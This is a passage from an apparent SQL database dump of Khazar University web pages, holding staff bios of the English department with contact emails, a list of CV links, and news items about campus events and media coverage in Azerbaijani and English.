href=\"mailto:konul.huseynova@khazar.org\">konul.huseynova[at]khazar.org</a></p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/IMG-20180113-WA0043.jpg\" style=\"border:0px #000000;width:150px;height:194px;float:left;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/nahida_guliyeva_cv.pdf\">Nahidə Quliyeva</a></strong></p><p style=\"text-align:justify\">Nahidə Quliyeva 2002-ci ildə Azərbaycan Dillər Universitetinin ingilis dili fakültəsini (ingilis və alman dilləri ixtisasi üzrə) magistr pilləsini bitirmişdir. O, 2017-ci ilin sentyabr ayından etibarən Xəzər Universitetinin İngilis Dili və Ədəbiyyati Departamentində İngilis Dilinin Əsasları fənnini tədris edir.<br></p><p><strong>E-mail: </strong> <a href=\"mailto:nahide.guliyeva@khazar.org\">nahide.guliyeva[at]khazar.org</a>&nbsp;</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/eng_depart/parvana_b.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:185px\"><a href=\"http://www.khazar.org/files/eng_depart/Parvana_Babayeva_CV.pdf\">Pərva</a></strong><strong><a href=\"http://www.khazar.org/files/eng_depart/Parvana_Babayeva_CV.pdf\">nə Babayeva</a></strong></p><p><strong></strong>Parvana Babayeva received her B.A.&nbsp;(with Honors Diploma)&nbsp;and M.A.&nbsp;(with Honors Diploma) at Azerbaijan State University of Languages.She is a part-time instructor at the English Language and Literature Department. She has been teaching English Foundations at Khazar University since November 2017.&nbsp;</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:parvana.babayeva@khazar.org\">parvana.babayeva[at]khazar.org</a>  <br></p>  <p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/eng_depart/husniyye_t.jpg\" style=\"float:left;margin:7px;width:150px;height:150px\"><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/husniyye_tanriverdiyeva_cv.pdf\">Hüsniyyə&nbsp;Tanrıverdiyeva</a></strong></p><p style=\"text-align:justify\">Hüsniyyə Tanrıverdiyeva 2009-cu ildə Azərbaycan Dillər Universitetinin ingilis dili fakültəsinin əyani şöbəsini (ingilis dili və fransız dilləri ixtisası üzrə) fərqlənmə diplomu ilə bitirmişdir. Bakı Slavyan Universiteti nəzdindəki məktəb-lisey kompleksində müəllim assistent vəzifəsində çalışmışdır. Bakı Slavyan Universitetində ingilis dilinin eşidib anlama və nitq vərdişləri, ingilis dilinin oxuyub anlama və yazı vərdişləri fənnlərini tədris etmişdir. 2017-ci ilin Noyabr ayından etibarən Xəzər Universitetində İngilis dili və Ədəbiyyatı departamentinin müəllimidir. 2017-ci ildə Bakı Slavyan Universitetinin doktoranturasını müqayisəli tipoloji dilçilik ixtisası üzrə bitirmiş və dissertasiyasının müdafiəsinə hazırlaşır. Beynəlxalq elmi konransların və müxtəlif ixtisas artırma kurslarının iştirakçısıdır. Bir neçə elmi məqalənin müəllifidir.  </p> <p> <strong>E-mail:&nbsp;</strong><a href=\"mailto:husniyye.tanriverdiyeva@khazar.org\">husniyye.tanriverdiyeva[at]khazar.org</a></p>\r\n<hr>\r\n<img src=\"/files/eng_depart/IMG-20180115-WA0007.jpg\" style=\"border:0px  #000000;width:150px;height:148px;float:left;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p style=\"text-align:justify\"><a href=\"http://www.khazar.org/files/eng_depart/Mahire%20Guluzadeh%20%2B.pdf\" style=\"font-size:large;text-align:start\"><strong>Mahirə Quliyeva</strong></a></p><p style=\"text-align:justify\">2014-cü&nbsp;ildə Azərbaycan Dillər Universitetinin Pedaqoji fakültəsinin İngilis Dili Müəllimliyi ixtisasını Fərqlənmə diplomu ilə bitirmiş 2017-ci ildə həmin universitetin magistratura pilləsini İngilis dili üzrə Dilşunaslıq ixtisası üzrə Fərqlənmə diplomu üzrə bitirmişdir.&nbsp;Xəzər Universitetində 2017-ci ilin sentyabr ayından İngilis dili müəllimi kimi \"English Foundations\" fənnini tədris edir.  </p>\r\n<p><strong>E-mail:</strong> <a href=\"mailto:mahire.guliyeva@khazar.org\">mahire.guliyeva[at]khazar.org</a></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/leyla_jumayeva_cv.pdf\"><img src=\"/files/eng_depart/images/leila_jumayeva.jpg\" style=\"float:left;width:150px;height:166px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Leyla Cumayeva</a></strong></p><p>Leyla Jumayeva<strong>&nbsp;</strong>got\r\nher BA and MA degree in English philology at Azerbaijan University of Languages. She is doing Ph.D in\r\nStylistics at Azerbaijan University of Languages. She is currently\r\nteaching a Foundation course at Khazar University.<br></p><p><strong></strong><strong>E-mail:</strong>&nbsp;<a href=\"mailto:leyla.jumayeva@khazar.org\">leyla.jumayeva[at]khazar.org</a>  <a href=\"mailto:Cumayeva.leyla@gmail.com\"></a></p><p><br></p> \r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/aytan_khalili_cv.pdf\"><img src=\"/files/eng_depart/images/aytan_khalilli.jpg\" style=\"width:150px;height:170px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Aytən Xəlili</a></strong></p><p>Aytan Khalili earned her BA degree in English Language Teaching at Azerbaijan University of&nbsp;Languages. MA degree she earned in Methods and Methodology of English. She is currently teaching a Foundation course at Khazar University.&nbsp;<br></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:aytan.khalili@khazar.org\">aytan.khalili[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/sayyara_guliyeva_cv.pdf\"><img src=\"/files/eng_depart/images/sayyara_kuliyeva.jpg\" style=\"width:150px;height:191px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Səyyarə Quliyeva</a></strong></p>Sayyara Guliyeva did her BA in English Philology at Azerbaijan University of Languages and MA in English Linguistic again at Azerbaijan University of Languages, Baku. She is doing her PhD&nbsp;now. She has delivered many courses: Reading comprehension and writing skills, Listening comprehension and speaking skills, Academic writing, Consecutive interpreting and etc.<br><br><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:sayyarakuliyeva@yahoo.com\"></a><a href=\"mailto:sayyara.guliyeva@khazar.org\">sayyara.guliyeva[at]khazar.org</a></p><p><br></p>  \r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/parvana_jafarova_cv.pdf\"><img src=\"/files/eng_depart/images/parvana_jafarova.jpg\" style=\"width:150px;height:155px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Pərvanə Cəfərova</a></strong><br></p><p>Parvana Jafarova did her BA in English Language teaching&nbsp;at Azerbaijan University of Languages and MA in English Linguistic again at Azerbaijan University of Languages, Baku. She is currently teaching a Foundation course at Khazar University.</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:parvana.jafarova@khazar.org\">parvana.jafarova[at]khazar.org</a>  <a href=\"mailto:jafarova.parvana@rambler.ru\"></a>  </p><p><br></p>  \r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/nargiz_mammadova_cv.pdf\"><img src=\"/files/eng_depart/images/nargiz_mammadova.jpg\" style=\"width:150px;height:175px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Nargiz Mammadova</a></strong></p><p>Nargiz Mammadova studied for both B.A. and M.A. degrees at Azerbaijan University of Languages with Honors Diploma. She is an Academic English instructor at the English Language and Literature Department of Khazar University. Since 2017, she has been working as a teacher of methods of English and Curriculum at Azerbaijan University of Languages. She also works as an English teacher at Baku Slavic University School Lyceum Complex.<br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:mnargiz128@gmail.com\">mnargiz128[at]gmail.com</a><br></p><p><br></p> \r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eng_depart/CV/ronald_wayne_smith_cv.pdf\"><img src=\"/files/eng_depart/images/ronald_wayne_smith.jpg\" style=\"width:150px;height:117px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Ronald Wayne Smith</a></strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:ron.smith@eku.edu\">ron.smith[at]eku.edu</a>  </p>'),(3227,1902,'az','“Bank risklərinin idarə olunması” mövzusunda ustad dərsi keçiriləcək','2017-ci il fevralın 25-i saat 11.00-da Xəzər Universiteti Məzunlar Assosiasiyası və Məzunlarla İş Mərkəzinin birgə təşkilatçılığı...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">2017-ci\r\nil fevralın 25-i saat 11.00-da Xəzər Universiteti Məzunlar Assosiasiyası və Məzunlarla\r\nİş Mərkəzinin birgə təşkilatçılığı ilə “Bank risklərinin idarə olunması”\r\nmövzusunda ustad dərsi keciriləcək (otaq 102N). Tədbir zamanı Məzunlar\r\nAssosiasiyasının logosu və devizinin təqdimatı da nəzərdə tutulur.</p>'),(3228,1903,'az','Xəzər Universitetində Dövlət Miqrasiya Xidmətinin 10 illiyinə həsr olunan elmi-praktik konfrans keçirildi','Azərbaycan Respublikası Dövlət Miqrasiya Xidməti və Xəzər Universitetinin təşkilatçılığı ilə 2017-ci il fevralın 17-də universitetin Neftçilər kampusunun  Mərmər salonunda...','<p>Azərbaycan\r\nRespublikası Dövlət Miqrasiya Xidməti və Xəzər Universitetinin təşkilatçılığı\r\nilə 2017-ci il fevralın 17-də universitetin Neftçilər kampusunun&nbsp; Mərmər salonunda Dövlət Miqrasiya Xidmətinin\r\n10 illiyi münasibətilə “Azərbaycanda miqrasiya siyasəti: nailiyyətlər və\r\ninkişaf perspektivləri” mövzusunda elmi-praktik konfrans keçirildi.</p>\r\n<p>Tədbirdə\r\nXəzər Universitetinin, Dövlət Miqrasiya Xidmətinni (DMX), dövlət qurumlarının,\r\nölkədə fəaliyyət göstərən beynəlxalq və qeyri-hökumət təşkilatlarının nümayəndələri,\r\nMilli Elmlər Akademiyasının, ali təhsil müəssisələrinin elmi əməkdaşları və\r\nxarici ekspertlər iştirak edirdilər.</p>\r\n<p>Konfrans\r\nDMX-nin keçdiyi inkişaf yolunu əks etdirən qısametrajlı filmin nümayişi ilə\r\nbaşlandı. Sonra Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı konfransı açaraq, müzakirə olunan\r\nmövzunun mühümlüyünü və əhəmiyyətini nəzərə çatdırdı. O, həmçinin,\r\niştirakçılara Xəzər Universiteti haqqında da qısa məlumat verdi.</p>\r\n<p>DMX\r\nrəisinin müavini Pərviz Musayev çıxışında xidmətin yaranma tarixi, fəaliyyət\r\nistiqamətləri, 10 il ərzində əldə edilən uğurlar və nailiyyətlər barədə\r\nkonfrans iştirakçılarını ətraflı məlumatlandırdı.</p>\r\n<p>BMT-nin Qaçqınlar üzrə Ali Komissarlığının (QAK) Azərbaycandakı nümayəndəsi Furio\r\nde Angeles, Beynəlxalq Miqrasiya Təşkilatının (BMqT) Azərbaycandakı nümayəndəliyinin\r\nrəhbəri Serhan Aktoprak çıxış edərək, miqrasiya probleminin mühüm cəhətlərindən\r\nsöz açdılar.</p>\r\n<p>Universitetin İqtisadiyyat və menecment departamentinin müdiri Ceyhun Məmmədov Xəzər Universitetinin Miqrasiya\r\nAraşdırmaları Mərkəzi haqqında təqdimatla çıxış etdi.</p>\r\n<p>Açılış mərasimindən sonra elmi-praktik konfransın plenar\r\niclasında ölkə və&nbsp; xarici mütəxəssislərin\r\nüç mövzunu – “Miqrasiya siyasəti və insan hüquqları”, “Qaçqınlar və sığınacaq\r\naxtaran şəxslərin beynəlxalq himayəsi” və “Qloballaşma dövründəmiqrasiya prosesləri:\r\nçağırışlar və cavab tədbirləri” mövzularını əhatə edən&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; məruzələri&nbsp; dinlənildi.&nbsp;\r\n</p>\r\n<p>Vahid Qəhrəmanov, Azər Allahverənov, Xəyalə Abbasova, Nazim\r\nSalmanov, Gülgün Babayeva, İslam Hidayətov, Cəmil Hüseynov (DMX), Ronald\r\nSketdon (İngiltərədəki\r\nSasseks və Niderlanddakı Maastrixt universitetləri), Meltem Ersan (BMqT), Fuad\r\nCabbarov (Əmək və Əhalinin Sosial Müdafiəsi Nazirliyi), Roland Hosner (MSIBM Tədqiqat\r\nBölməsi), Turan Cahangirova (Ombudsman aparatı), Rima Məmmədova, Sevinc Şəfiyeva\r\n(Xəzər Universiteti), Mətləb Mahmudov (AMEA Fəlsəfə İnstitutu), Rövşən Kərimov,\r\nZakir Eminov (AMEA Coğrafiya İnstitutu), Rəna&nbsp;\r\nAğamirova (Gənclər və İdman Nazirliyi), Qərib Əsgərov (Dövlət Sərhəd\r\nXidməti Akademiyası) və Rafiq Nəcəfquliyev (DİN Polis Akademiyası) hazırladıqları\r\nelmi məruzələri konfransa təqdim etdilər.</p>\r\n<p>Məruzələr ətrafında müzakirələrdən sonra elmi-praktik\r\nkonfransın işinə yekun vuruldu və qətnaməsi qəbul olundu.</p>\r\n<p>Tədbir ölkə mediasında geniş işıqlandırılmışdır:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://azertag.az/xeber/Dovlet_Miqrasiya_Xidmeti_terefinden_71_mine_yaxin_sexsin_Azerbaycan_vetendasligina_mensubiyyeti_taninib-1036064\">http://azertag.az/xeber/Dovlet_Miqrasiya_Xidmeti_terefinden_71_mine_yaxin_sexsin_Azerbaycan_vetendasligina_mensubiyyeti_taninib-1036064</a>; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.azerbaijan-news.az/index.php?mod=3&amp;id=116141\">http://www.azerbaijan-news.az/index.php?mod=3&amp;id=116141</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.itv.az/index.php/az/tele/doevlaet-migrasiya-khidmaetinin-yarad-lmas-n-n-10-illiyinae-haesr-olunan-konfrans\">http://www.itv.az/index.php/az/tele/doevlaet-migrasiya-khidmaetinin-yarad-lmas-n-n-10-illiyinae-haesr-olunan-konfrans</a>&nbsp; və s.</p>'),(1508,943,'az','Təsisçi “I Şah İsmayıl – sərkərdə və hökmdar” sərgisinin açılışında','2016-cı il aprelin 15-də Milli Azərbaycan Tarixi Muzeyndə “I Şah İsmayıl – sərkərdə və hökmdar” sərgisinin açılışı keçirildi.','<p>2016-cı il aprelin 15-də Milli Azərbaycan Tarixi Muzeyndə\r\n“I\r\nŞah İsmayıl – sərkərdə və hökmdar” sərgisinin açılışı keçirildi. </p>\r\n<p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı da tədbirdə iştirak etdi. H.İsaxanlı\r\ntədbiri işıqlandıran televiziya kanalların birində Şah İsmayıl Xətai, Səfəvilər\r\ndövlətinin tarixdə rolu, bu sərginin əhəmiyyəti haqqında müsahibə verdi.</p>'),(1509,943,'en','Founder at Opening Ceremony of “I Shah Ismail: Military Leader and Ruler” Exhibit','On April 15, 2016, an opening ceremony of the “I Shah Ismail: Military Leader and Ruler” Exhibit was held at the Azerbaijan National History Museum. Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, participated in the opening.','<p>On April 15, 2016, an opening ceremony of the “I Shah\r\nIsmail: Military Leader and Ruler” Exhibit was held at the Azerbaijan National\r\nHistory Museum. Professor Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees, participated in the opening.\r\nHe also gave an interview to one of the TV channels covering the event in which\r\nhe discussed the historical roles of Shah Ismail Khatai and the Safavid\r\nGovernment as well as the significance of this exhibit.&nbsp;</p>'),(1510,944,'az','“Dünya” məktəbinin məktəbəqədər şagirdləri çincə oxudular','2016-cı il aprelin 15-də Azərbaycan Dillər Universitetinin (ADU) Çin dili və mədəniyyəti mərkəzinin təşkilatçılığı ilə “Çin və Azərbaycanın Kukla Teatrı: tarix və müasirlik” adlı bədii gecə keçirildi.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il aprelin 15-də Azərbaycan Dillər\r\nUniversitetinin (ADU) Çin dili və mədəniyyəti mərkəzinin təşkilatçılığı ilə “Çin\r\nvə Azərbaycanın Kukla Teatrı: tarix və müasirlik” adlı bədii gecə keçirildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tədbirdə Xəzər Universitetinin “Dünya” məktəbinin\r\nməktəbəqədər şagirdləri musiqi ifa etdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Daha geniş məlumatı bu linklərdən əldə etmə\r\nolar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=51727\">http://azpress.az/index.php?lang=az§ionid=news&amp;id=51727</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://gun.az/xeber-diller-universitetinde-cin-kukla-teatri-t190282.html\">http://gun.az/xeber-diller-universitetinde-cin-kukla-teatri-t190282.html</a>.&nbsp; <br>\r\n<br>\r\n</p>'),(911,599,'en','CVs','CVs','<p><a href=\"http://www.khazar.org/files/eng_depart/Adilya_Abdullayeva%2B.pdf\">Adilya&nbsp;Abdullayeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Arzu%20Mikayilzade%20%2B.pdf\">Arzu Mikayilzade</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Aytan%20Mammadova%20%2B.pdf\">Aytan Mammadova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Aziza%20Zulfugarova%20%2B.pdf\">Aziza Zulfugarova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Adila%20Aliyeva%2B.pdf\">Adila Aliyeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Ceyhun_Kerimov%20%2B.pdf\">Ceyhun&nbsp;Kerimov</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Elmira%20Aliyeva%20%2B.pdf\">Elmira Aliyeva</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Eynur%20Mehdiyev%20%2B.pdf\">Eynur Mehdiyev</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Firangiz%20Nasirova%20%20%20%2B.pdf\">Firangiz Nasirova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Gayibkhanova%20Diana%20%2B.pdf\">Gayibkhanova Diana</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Gulnur%20Miriyeva%2B.pdf\">Gulnur Miriyeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Ilham_Taghiyev%2B.pdf\">Ilham&nbsp;Taghiyev</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Irina%20Orujova%20%2B.pdf\">Irina Orujova</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Ilaha%20Khanaliyeva.pdf\">Ilaha Khanaliyeva</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Kamala_Asgerova%20%2B.pdf\">Kamala&nbsp;Asgerova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Khanaliyeva%20Ilaha%20%2B.pdf\">Khanaliyeva Ilaha</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Khanim%20Ahmadova%20%20%2B.pdf\">Khanim Ahmadova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Konul_Huseynova%20%20%2B.pdf\">Konul&nbsp;Huseynova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Lala%20Aliyeva%20%20%2B.pdf\">Lala Aliyeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Lala_Gamidova%20%2B.pdf\">Lala Gamidova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Leyla%20Rahimova%20%2B.pdf\">Leyla Rahimova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Leyla_Salayeva%20%2B.pdf\">Leyla Salayeva</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eng_depart/MILANA_ABBASOVA_cv%20January%202018.pdf\">Milana Abbasova</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Mahire%20Guluzadeh%20%2B.pdf\">Mahire Guluzadeh</a></p><a href=\"http://www.khazar.org/files/eng_depart/Naila_Gasimova%20%2B.pdf\"><p>Naila&nbsp;Gasimova</p></a><a href=\"http://www.khazar.org/files/eng_depart/Nubar%20Agalarova_CV%20%2B.pdf\"></a><p><a href=\"http://www.khazar.org/files/eng_depart/Nubar%20Agalarova_CV%20%2B.pdf\">Nubar Agalarova</a><a href=\"http://www.khazar.org/files/eng_depart/Nurana%20Farhadova%20%2B.pdf\"><br></a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Nurana%20Farhadova%20%2B.pdf\">Nurana Farhadova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Nigar%20Hagverdiyeva.pdf\">Nigar Hagverdiyeva</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Parvin_Karimova%2B.pdf\">Parvin Karimova</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Saadat%20Farhadova%20%2B.pdf\">Saadat Farhadova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Sevil%20Huseynova.%20CV.pdf\">Sevil Huseynova</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Sevinj%20Iskenderova%20%2B.pdf\">Sevinj Iskenderova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Shahriyar_Mammadov%20%2B.pdf\">Shahriyar&nbsp;Mammadov</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Zamira%20Gurbanova%20%2B.pdf\">Zamira Gurbanova</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/eng_depart/Zulfiya%20%C4%B0brahimova.pdf\">Zulfiye Ibrahimova</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Husniyye%20europass%20cv%20(1).pdf\">Husniyye Tanriverdiyeva</a></p>'),(2625,1578,'en','Türkan Şoray’s Visit to Baku as Guest of Khazar University Reported in Turkish Media ','As we previously reported, on November 17, 2016, famous actress Türkan Şoray visited Azerbaijan upon the invitation of Khazar University...','<p>As we previously reported, on November\r\n17, 2016, famous actress Türkan Şoray visited Azerbaijan upon the invitation of\r\nKhazar University. This living legend of the Turkish cinema attracted the\r\nattention of Turkish media, and her visit was reported by many Turkish TV\r\nstations, news agencies, and media organizations:</p>\r\n<p><a href=\"http://www.haberler.com/dha-dis-haberler-azerbaycan-da-turkan-soray-a-8971746-haberi/\">http://www.haberler.com/dha-dis-haberler-azerbaycan-da-turkan-soray-a-8971746-haberi/</a>;</p>\r\n<p><a href=\"http://www.palo.com.tr/a/görüntülü-haber-azerbaycan-da-türkan-şoray-a-avrasya-efsanesi-ödölü-verildi-2056578\">http://www.palo.com.tr/a/görüntülü-haber-azerbaycan-da-türkan-şoray-a-avrasya-efsanesi-ödölü-verildi-2056578</a>;</p>\r\n<p><a href=\"http://www.haber1.com/haber/672200/goruntulu-haber-azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi\">http://www.haber1.com/haber/672200/goruntulu-haber-azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi</a>;</p>\r\n<p><a href=\"http://www.gercekgundem.com/kultur-sanat/243357/azerbaycandan-turkan-soraya-odul\">http://www.gercekgundem.com/kultur-sanat/243357/azerbaycandan-turkan-soraya-odul</a>;</p>\r\n<p><a href=\"http://www.dha.com.tr/en-son-haber-goruntulu-haber-azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi-son-dakika-haberleri_1384805.html\">http://www.dha.com.tr/en-son-haber-goruntulu-haber-azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi-son-dakika-haberleri_1384805.html</a>;</p>\r\n<p><a href=\"http://www.f5haber.com/baku/azerbaycan-da-turkan-soray-a-avrasya-efsanesi-odulu-haberi-1818432/\">http://www.f5haber.com/baku/azerbaycan-da-turkan-soray-a-avrasya-efsanesi-odulu-haberi-1818432/</a></p>\r\n<p><a href=\"http://www.sondakika.com/haber/haber-azerbaycan-da-turkan-soray-a-avrasya-efsanesi-8971904/\">http://www.sondakika.com/haber/haber-azerbaycan-da-turkan-soray-a-avrasya-efsanesi-8971904/</a>;</p>\r\n<p><a href=\"http://www.macmaca.com.tr/dis-haberler/azerbaycan-da-turkan-soray-a-avrasya-efsanesi-odulu-verildi-h7518.html\">http://www.macmaca.com.tr/dis-haberler/azerbaycan-da-turkan-soray-a-avrasya-efsanesi-odulu-verildi-h7518.html</a>;</p>\r\n<p><a href=\"http://www.milliyet.com.tr/turkan-sultan-efsanesi-/cadde/ydetay/2341721/default.htm\">http://www.milliyet.com.tr/turkan-sultan-efsanesi-/cadde/ydetay/2341721/default.htm</a>;</p>\r\n<p><a href=\"http://www.newsgarden.com.tr/azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi\">http://www.newsgarden.com.tr/azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi</a>;</p>\r\n<p><a href=\"http://www.ulusalses.com/gundem/dha-dis-haberler-azerbaycan-da-turkan-soray-a-avrasya-efsanesi-odulu-verildi-h414143.html\">http://www.ulusalses.com/gundem/dha-dis-haberler-azerbaycan-da-turkan-soray-a-avrasya-efsanesi-odulu-verildi-h414143.html</a>;</p>\r\n<p><a href=\"http://www.fisiltimedyahaber.com/haber/57642/soraya-avrasya-efsanesi-odulu-verildi.html\">http://www.fisiltimedyahaber.com/haber/57642/soraya-avrasya-efsanesi-odulu-verildi.html</a></p>\r\n<p><a href=\"http://duzgunhaber.com.tr/sinemanin_sultani-na_-avrasya_efsanesi-_odulu-71054\">http://duzgunhaber.com.tr/sinemanin_sultani-na_-avrasya_efsanesi-_odulu-71054</a>;</p>\r\n<p><a href=\"http://www.sabah.com.tr/webtv/medya/turkan-soraya-avrasya-efsanesi-odulu-verildi\">http://www.sabah.com.tr/webtv/medya/turkan-soraya-avrasya-efsanesi-odulu-verildi</a>;</p>\r\n<p><a href=\"http://haber.cicegim.net/haber/530596/azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi.html\">http://haber.cicegim.net/haber/530596/azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi.html</a>;</p>\r\n<p><a href=\"https://habervizyonu.com/2016/11/17/azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi/\">https://habervizyonu.com/2016/11/17/azerbaycanda-turkan-soraya-avrasya-efsanesi-odulu-verildi/</a>;</p>\r\n<p><a href=\"http://www.aydinses.com/goruntulu-haber-azerbaycan-da-turkan-soray-a-avrasya-efsanesi-odulu-verildi-video,65974.html\">http://www.aydinses.com/goruntulu-haber-azerbaycan-da-turkan-soray-a-avrasya-efsanesi-odulu-verildi-video,65974.html</a>;</p>\r\n<p><a href=\"http://www.xn--gnnhaberi-q9ab.com/yasam/soray-a-avrasya-efsanesi-odulu-verildi-h35801.html\">http://www.xn--gnnhaberi-q9ab.com/yasam/soray-a-avrasya-efsanesi-odulu-verildi-h35801.html</a>.</p>'),(2624,1577,'en','Türkan Şoray in Baku as Guest of Khazar University ','As we previously reported, on November 17, 2016, famous actress Türkan Şoray visited Azerbaijan upon the invitation of Khazar University. This living legend of the Turkish cinema...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">As we previously reported, on\r\nNovember 17, 2016, famous actress Türkan Şoray visited Azerbaijan upon the\r\ninvitation of Khazar University. This living legend of the Turkish cinema\r\nattracted the attention of the national media, and her visit was reported by\r\nmany TV stations, news agencies, and media organizations:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://azertag.az/xeber/Turkologiya_jurnalinin_nezdinde_yaradilan_seminarin_ilk_toplantisi_olub-1011273\">http://azertag.az/xeber/Turkologiya_jurnalinin_nezdinde_yaradilan_seminarin_ilk_toplantisi_olub-1011273</a>; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://sputnik.az/news/20161117/407761566/turkan-soray-ve-osseyn-bakida.html\">http://sputnik.az/news/20161117/407761566/turkan-soray-ve-osseyn-bakida.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://axar.az/news/sinema/121706.html\">http://axar.az/news/sinema/121706.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://big.az/266338-turkan_soray_bakida_azerbaycanlilari_cox_sevirem\">http://big.az/266338-turkan_soray_bakida_azerbaycanlilari_cox_sevirem</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a 